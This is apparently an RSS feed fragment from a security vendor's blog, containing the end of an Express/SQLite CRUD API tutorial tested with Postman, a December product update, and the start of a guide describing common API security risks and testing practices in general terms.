});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// GET /users/:id - Retrieve a user by ID&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.get(&amp;#39;/users/:id&amp;#39;, (req, res) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const id = parseInt(req.params.id);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  db.get(&amp;#39;SELECT * FROM users WHERE id = ?&amp;#39;, [id], (err, row) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(500).json({ error: err.message });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (!row) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(404).send(&amp;#39;User not found&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    res.json(row);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// POST /users - Create a new user&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.post(&amp;#39;/users&amp;#39;, (req, res) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const { name } = req.body;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  if (!name) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    res.status(400).json({ error: &amp;#39;Name is required&amp;#39; });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  db.run(&amp;#39;INSERT INTO users (name) VALUES (?)&amp;#39;, [name], function (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(500).json({ error: err.message });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    res.status(201).json({ id: this.lastID, name });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// PUT /users/:id - Update an existing user&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.put(&amp;#39;/users/:id&amp;#39;, (req, res) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const id = parseInt(req.params.id);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const { name } = req.body;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  if (!name) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    res.status(400).json({ error: &amp;#39;Name is required&amp;#39; });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  db.run(&amp;#39;UPDATE users SET name = ? WHERE id = ?&amp;#39;, [name, id], function (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(500).json({ error: err.message });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (this.changes === 0) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(404).send(&amp;#39;User not found&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    res.json({ id, name });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// DELETE /users/:id - Delete a user&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.delete(&amp;#39;/users/:id&amp;#39;, (req, res) =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  const id = parseInt(req.params.id);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  db.run(&amp;#39;DELETE FROM users WHERE id = ?&amp;#39;, [id], function (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (err) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(500).json({ error: err.message });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    if (this.changes === 0) {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      res.status(404).send(&amp;#39;User not found&amp;#39;);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;      return;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    }&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;    res.status(204).send();&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  });&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;});&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;// Start the server&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;app.listen(port, () =&amp;gt; {&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;  console.log(`API server is running at http://localhost:${port}`);&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;});&lt;/code&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Create a Web Server&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Here’s a quick code breakdown demonstrating how to create a simple web server using Node.js, Express.js, and SQLite3. This code provides a&lt;a href=&quot;https://www.stackhawk.com/blog/rest-api-security-best-practices/&quot;&gt; &lt;u&gt;REST API&lt;/u&gt;&lt;/a&gt; for accessing and modifying user information stored in an SQLite database, running in memory for simplicity and demonstration purposes. Here&amp;#39;s a detailed look at the key components and actions within the code:&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Initialization of Express App:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;The code begins with initializing an Express application (&lt;code&gt;const app = express();&lt;/code&gt;).&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt; SQLite Database Setup:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;A SQLite database is initialized in memory (&lt;code&gt;const db = new sqlite3.Database(&amp;#39;:memory:&amp;#39;);&lt;/code&gt;), making it temporary and ideal for demonstrations without external database connections.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Inside &lt;code&gt;db.serialize(...)&lt;/code&gt;, a table named users is created, and two example user records are inserted, setting up initial data.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;API Endpoint Definitions:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Basic CRUD endpoints are created to demonstrate accessing the API from Postman.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Server Initialization:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Finally, the application listens to incoming requests on a specified port (&lt;code&gt;const PORT = 3000;&lt;/code&gt;), making the API accessible to clients. A console log message confirms the server&amp;#39;s successful launch.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ol&gt;&lt;h3&gt;&lt;b&gt;Run the Code&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Now that our code is complete, it’s time to run the application and bring up our API. To run your API, run the following command in a terminal targeting the root of your project:&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;node server.js&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Now that the API is running on &lt;u&gt;http://localhost:3000&lt;/u&gt;, the next steps will show you how to test your API using Postman.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Test the API&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Before testing anything, we need to create a collection. Select the &lt;b&gt;Collections&lt;/b&gt; tab on the left side, click the plus icon to add a new collection, and choose &lt;b&gt;Blank Collection&lt;/b&gt;.&lt;/p&gt;&lt;p&gt;To test our API, launch Postman and create a new request. We’ll start with the GET /users endpoint. Click on the &lt;b&gt;New&lt;/b&gt; button at the top of the Postman app, then select &lt;b&gt;HTTP Request&lt;/b&gt; from the dropdown. This opens a new tab where we can configure our request. &lt;/p&gt;&lt;p&gt;By default, it is configured for a GET request, so all we need to do now is enter our URL in the URL field, enter http://localhost:3000/users. This is the endpoint we set up in our API to return the list of users. Click the blue &lt;b&gt;Send&lt;/b&gt; button on the right side of the URL bar and Postman will send an HTTP GET request to your API’s /users endpoint and display the response in the lower half of the screen.&lt;/p&gt;&lt;p&gt;If all works well, you&amp;#39;ll see a JSON-formatted user list, similar to the above screenshot.&lt;/p&gt;&lt;p&gt;Next, let&amp;#39;s create a POST request, following the same steps as before but selecting POST from the dropdown. Use the same URL http://localhost:3000/users, but add a request body. Click the &lt;b&gt;Body &lt;/b&gt;tab, select raw, choose JSON from the right dropdown, and enter your JSON payload.&lt;/p&gt;&lt;p&gt;The remaining requests will be:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;GET http://localhost:3000/users/{{userId}}&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;PUT http://localhost:3000/users/{{userId}}&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;With a body of { &amp;quot;name&amp;quot;: &amp;quot;Charles&amp;quot; }&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;DELETE http://localhost:3000/users/{{userId}}&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;After creating the requests, save them to the earlier collection using the &lt;b&gt;Save &lt;/b&gt;button above the &lt;b&gt;Send &lt;/b&gt;button.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Advanced Postman Functionalities&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;To access advanced features, create an environment by clicking the &lt;b&gt;Environment &lt;/b&gt;tab on the left, then &amp;quot;&lt;b&gt;Create Environment&lt;/b&gt;.&amp;quot; After creation, select it from the dropdown in the upper right corner.&lt;/p&gt;&lt;p&gt;With a collection and environment created, the next step is to go to the scripts tab of the POST method and add the following code. This code will set an environment variable to the Id of the added user.&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;let responseData = pm.response.json();&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;code&gt;&lt;b&gt;pm.environment.set(&amp;quot;userId&amp;quot;, responseData.id);&lt;/b&gt;&lt;/code&gt;&lt;/p&gt;&lt;p&gt;Click the three dots beside the collection name and choose &amp;quot;&lt;b&gt;Run Collection&lt;/b&gt;.&amp;quot; You can arrange the requests as desired. To show a user being added, updated, and deleted in one run, order them as shown below. Check &amp;quot;&lt;b&gt;Persist responses for a session&lt;/b&gt;&amp;quot; to view responses. Then, click &amp;quot;&lt;b&gt;Run Users&lt;/b&gt;&amp;quot; to start.&lt;/p&gt;&lt;p&gt;After running the collection, the &amp;quot;Run Results&amp;quot; tab will open, providing a high-level overview of the results.&lt;/p&gt;&lt;p&gt;In the results tab, drill into a request to see the exact response. For example, the GET request returns the newly created user.&lt;/p&gt;&lt;p&gt;If you click &amp;quot;Run Again&amp;quot; and check the GET request&amp;#39;s response, you&amp;#39;ll notice the user&amp;#39;s ID has increased due to the script set up in the earlier POST request.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Beyond Functionality: Ensuring Your APIs are Securely Built&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Using Postman for API testing can ensure that your APIs function correctly. However, are you sure they&amp;#39;re secure against threats? Can you ensure they&amp;#39;re safeguarded from security vulnerabilities that might expose sensitive data or disrupt your services?&lt;/p&gt;&lt;p&gt;Traditional testing strategies often overlook critical security weaknesses. This is where&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt; &lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; excels. As a&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;Dynamic Application Security Testing&lt;/u&gt;&lt;/a&gt; (DAST) solution, StackHawk is purpose-built to identify and help remediate&lt;a href=&quot;https://www.stackhawk.com/blog/6-serious-api-security-vulnerabilities-and-how-to-fix-them/&quot;&gt; &lt;u&gt;API vulnerabilities&lt;/u&gt;&lt;/a&gt;. It seamlessly integrates within your CI/CD pipeline to help automate API tests as part of a holistic API testing strategy, continuously assessing your APIs for potential risks.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Achieve Comprehensive API Security with Automated Discovery&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In addition to automated testing, StackHawk provides a powerful&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt; &lt;u&gt;API discovery&lt;/u&gt;&lt;/a&gt; engine and API oversight, features that allow you to see your complete&lt;a href=&quot;https://www.stackhawk.com/blog/defending-against-api-attacks-strategies-for-protecting-your-apis-and-data/&quot;&gt; &lt;u&gt;API attack&lt;/u&gt;&lt;/a&gt; surface. This functionality automatically identifies and documents all your API endpoints, including those that might be inadvertently missed. This comprehensive mapping of your API development process landscape ensures that every API endpoint undergoes rigorous security assessment, leaving no gaps in your security posture.&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;Sign up today&lt;/u&gt;&lt;/a&gt;&lt;u&gt; &lt;/u&gt;to try Stackhawk for yourself to move beyond functional API testing and into the next stage of API security testing.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[December Product Updates]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/december-product-update</guid><category><![CDATA[Product Manager's Corner]]></category><dc:creator><![CDATA[Brian Erickson]]></dc:creator><content:encoded>&lt;p&gt;As the holidays approach, we’re wrapping up the year with some exciting updates to make your security testing with StackHawk smoother, smarter, and faster. From Oversight for better application management to new API capabilities and the latest HawkScan improvements, this release is packed with gifts for your team.&lt;/p&gt;&lt;p&gt;Let’s dive into what’s new! 🎅✨&lt;/p&gt;&lt;h2&gt;Oversight: Simplified Security Management&lt;/h2&gt;&lt;p&gt;As the number of applications under test grows, keeping track of security testing can become overwhelming. That’s where Oversight comes in. With a streamlined view of your applications and their security status across environments, you can easily manage testing efforts at scale. Use the new app list with filters to quickly find what you need, and explore detailed app insights to maintain a strong security posture.&lt;/p&gt;&lt;h2&gt;API Discovery: See Your Attack Surface Like Never Before&lt;/h2&gt;&lt;p&gt;Understanding your APIs just got easier. The new Attack Surface Report gives you a high-level summary of your API exposure, while detailed repo views include AI-powered insights, topics, and languages to help prioritize testing. Plus, the new “Repos Added” card keeps you up to date on newly discovered repositories in your attack surface.&lt;/p&gt;&lt;h2&gt;Platform Updates: Better Collaboration and Reporting &lt;/h2&gt;&lt;p&gt;Make sharing and collaboration easier than ever with these updates:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;PDF Scan Reports&lt;/b&gt;: Create polished, shareable reports that are perfect for keeping stakeholders informed.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Comment on Findings&lt;/b&gt;: Your team can now leave comments directly on findings without changing their triage status, streamlining communication between developers and security teams to resolve issues faster.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;Scan Performance: Unlock Faster, More Accurate Scans&lt;/h2&gt;&lt;p&gt;The key to effective security testing in CI/CD is fast, efficient scans. After working with many customers to tune their scans, we’ve seen how diagnosing application and network performance can dramatically improve scan speeds and reduce false positives.&lt;/p&gt;&lt;p&gt;With the new Scan Performance feature, you can now view detailed application performance metrics directly in the Scan Details screen. This includes:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Response Duration&lt;/b&gt;: See how quickly your application responds to requests.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Status Codes&lt;/b&gt;: Understand the HTTP status codes returned by your application.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;New API Capabilities: Greater Flexibility and Control&lt;/h2&gt;&lt;p&gt;Our latest API updates give you more power to automate and scale your application security program:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://apidocs.stackhawk.com/reference/listappsv2&quot;&gt;&lt;u&gt;Application and Environment v2&lt;/u&gt;&lt;/a&gt;: Robust filtering and additional context make it easier to manage your apps and environments.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://apidocs.stackhawk.com/reference/getalertmessages&quot;&gt;&lt;u&gt;Scan Alert Details&lt;/u&gt;&lt;/a&gt;: Access detailed insights into scan findings to help your team prioritize and resolve issues faster.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://apidocs.stackhawk.com/reference/deletescan&quot;&gt;&lt;u&gt;Scan Deletion&lt;/u&gt;&lt;/a&gt;: Programmatically clean up your scan history for better organization and efficiency.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;HawkScan 4.2 + 4.3: Smarter, Faster Scans&lt;/h2&gt;&lt;p&gt;With the latest HawkScan updates, you’ll see improvements across the board:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Log Cleanup and Error Handling&lt;/b&gt;: Cleaner logs and smarter error messaging to reduce friction.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Performance Boosts and Bug Fixes&lt;/b&gt;: Faster scans and fixes for proxy configuration and plugin commands.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Smarter gRPC and OpenAPI Scanning&lt;/b&gt;: Improved support for gRPC input vectors and single-path OpenAPI specs.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;SOAP WSDL Improvements&lt;/b&gt;: Better handling of linked files for seamless SOAP testing.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Check out the &lt;a href=&quot;https://docs.stackhawk.com/changelog.html&quot;&gt;&lt;u&gt;change log&lt;/u&gt;&lt;/a&gt; and upgrade to the latest version from our &lt;a href=&quot;https://docs.stackhawk.com/download.html&quot;&gt;&lt;u&gt;downloads page&lt;/u&gt;&lt;/a&gt; and enjoy a faster, more reliable scanning experience.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Read more &lt;/b&gt;(link out to call to actions or additional resources (docs, website, etc):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Try StackHawk today - &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;Start your free trial&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;Watch a demo&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Discover more on our &lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;Hawkdocs page&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[The Ultimate Guide to API Security Testing: Best Practices and Essential Tools]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/the-ultimate-guide-to-api-security-testing-best-practices-and-essential-tools</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;As Application Programming Interfaces (APIs) have grown in use and abundance, so has the number of attacks and breaches stemming from said APIs. The OWASP&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt; &lt;u&gt;API Security&lt;/u&gt;&lt;/a&gt; Project and OWASP API Security Top 10 have helped to highlight the types of vulnerabilities that developers should be conscious of and defend against.&lt;/p&gt;&lt;p&gt;APIs are not only the backbone of modern application architecture, but they are also vital for maintaining security. Typically, a company’s most valuable and sensitive data resides behind an API. Delivering secure applications relies on ensuring that the underlying APIs are free from security vulnerabilities.&lt;/p&gt;&lt;p&gt;Delivering secure APIs, however, is easier said than done. APIs sit at the intersection of engineering and security teams, and typically see rapid iteration as software is built and improved. Ensuring API security raises questions such as:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Which team is responsible for maintaining API security?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;How do we ensure that updates to our APIs do not create a vulnerability?&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Does our team have&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-testing-overview/&quot;&gt; &lt;u&gt;API security testing&lt;/u&gt;&lt;/a&gt;?&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Modern software development teams are solving this problem with developer-centric API security testing automated in CI/CD. The rest of this post has more information on what API security testing is, how it works, and what to look for in selecting a top security testing vendor. Read on to learn more.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Security Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API security testing is the process of identifying vulnerabilities in APIs to ensure that they are secure against potential threats. APIs serve as the backbone of modern applications, connecting different systems and allowing data exchange, which make them a prime target for attackers. By performing security tests, teams can discover vulnerabilities such as improper authentication, data exposure, or other business logic vulnerabilities, flaws that could be exploited by malicious actors. Ensuring the security of APIs is vital to protect both the underlying infrastructure and sensitive data.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;The Adoption of DevOps Practices&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Historically, API security testing was conducted by enterprise security teams through manual scans and penetration testing. These methods were often time-consuming and occurred late in the development cycle, leading to the delayed discovery of issues.&lt;/p&gt;&lt;p&gt;However, with the adoption of DevOps practices, API security testing is increasingly integrated into the software development lifecycle (SDLC). This shift to continuous testing as part of the DevOps pipeline allows developers to catch security issues early, reduce vulnerabilities, and respond more quickly to potential threats, thereby improving the overall security posture of their applications.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Security Risks&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are critical to modern applications, but they are also vulnerable to various security risks. Understanding these risks is key to developing an effective API security strategy and safeguarding data, systems, and operations. Below, we explore some of the most common API security threats.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Injection Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Injection attacks, such as SQL or command injections, occur when untrusted data is sent to an interpreter, resulting in unintended commands being executed. APIs are particularly vulnerable to this type of attack when they do not properly validate and sanitize inputs. An attacker can use this weakness to manipulate queries or execute commands, leading to data theft, corruption, or control over the system. To reduce the risk of injection attacks, it is essential to implement input validation and use parameterized queries.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Broken Authentication and Session Management&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;APIs often handle authentication and session management, which are common targets for attackers. Weaknesses in these areas can result in unauthorized access to sensitive information or the hijacking of user sessions.&lt;a href=&quot;https://www.stackhawk.com/blog/net-broken-authentication-guide-examples-and-prevention/&quot;&gt; &lt;u&gt;Broken authentication&lt;/u&gt;&lt;/a&gt; occurs when API keys, tokens, or credentials are improperly managed or exposed, allowing attackers to impersonate users. Implementing strong authentication methods, such as OAuth or multi-factor authentication (MFA), can help minimize this risk.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Insecure Direct Object References (IDOR)&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Insecure direct object references occur when an API exposes internal objects, such as files or database records, to unauthorized users. This vulnerability enables attackers to tamper with input, allowing them to access data they shouldn&amp;#39;t be able to. For instance, an attacker could alter an API endpoint to gain unauthorized access to another user&amp;#39;s information. To mitigate the risk of IDOR, it is vital to enforce strict access controls and thorough authorization checks.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Denial-of-Service (DoS) Attacks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Denial-of-service (DoS) attacks are designed to overwhelm an API with excessive requests, rendering it unavailable to legitimate users. Attackers can exploit weaknesses in the API’s rate limiting or request handling mechanisms, leading to service outages. Implementing rate limiting, throttling, and monitoring can help mitigate the risk of DoS attacks and ensure that APIs remain operational under stress.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Consequences of API Security Risks&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The consequences of failing to address API security risks can be severe, including data breaches, reputational damage, and financial losses. A successful attack can lead to the exposure of sensitive customer or business data, resulting in a loss of trust and potential legal penalties. In more extreme cases, compromised APIs can give attackers control over critical systems, amplifying the scope of damage.&lt;/p&gt;&lt;p&gt;By understanding these risks and adopting proactive security measures, organizations can significantly reduce their exposure to API-related threats and maintain the security of their applications and data.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Preparing for API Security Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Effective API security testing begins with thorough preparation, which includes setting up a reliable testing environment, identifying the scope of testing, and ensuring the right tools and resources are in place.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Setting Up a Testing Environment&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Creating a testing environment that mirrors the production environment as closely as possible is critical for obtaining accurate results. This means replicating the same API configurations, authentication mechanisms, and traffic conditions that exist in the live environment. By doing so, you can identify vulnerabilities that may only surface under real-world conditions. The testing environment should also be isolated to prevent any unintended impacts on production data or systems.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Defining the Scope of Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Before starting, it&amp;#39;s essential to define the scope of the security testing to ensure that all critical aspects of the API are examined. This involves identifying which endpoints, authentication mechanisms, data flows, and external integrations need testing. Scoping should also consider the types of threats you&amp;#39;re most concerned about, such as injection attacks, data exposure, or unauthorized access, to tailor the testing approach accordingly. A well-defined scope helps focus security testing efforts and ensures comprehensive coverage of potential vulnerabilities.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Gathering Tools and Resources&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Once the environment and scope are established, the next step is to gather the necessary tools and resources. This includes selecting automated API security testing platforms like&lt;a href=&quot;https://www.stackhawk.com/jobs/&quot;&gt; &lt;b&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;, as well as manual testing tools like &lt;b&gt;Burp Suite&lt;/b&gt; for more in-depth analysis. In addition to tools, it&amp;#39;s important to ensure that your team has access to relevant documentation, such as API schemas and security policies, to effectively guide the testing process. With the right combination of tools and expertise, the security testing process can be efficient and thorough.&lt;/p&gt;&lt;p&gt;Proper preparation is a key factor in the success of API security testing, enabling teams to identify vulnerabilities, mitigate risks, and improve the overall security of their APIs.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of API Security Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The types of API security testing that could be performed are vast. Some are more manual, like API penetration testing, while others are more automated. When uncovering a potential API vulnerability, specific methods may be more applicable than others. For instance, if certain API security issues arise only during runtime, then it&amp;#39;s necessary to use an API security testing tool that can evaluate the application while it&amp;#39;s running. Meanwhile, other vulnerabilities might be detected through static analysis by using a static vulnerability scanner on the code base. With this in mind, let&amp;#39;s take a look at a few types of API security testing tools.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Dynamic API Security Tests&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;While some static analysis security testing (SAST) and software composition analysis (SCA) tools have coverage for APIs, the best form of API security testing is running active (dynamic) tests against your API endpoints. This active testing is technically a form of&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/a&gt; (DAST). However, be cautious of legacy&lt;a href=&quot;https://www.stackhawk.com/solutions/dast/&quot;&gt; 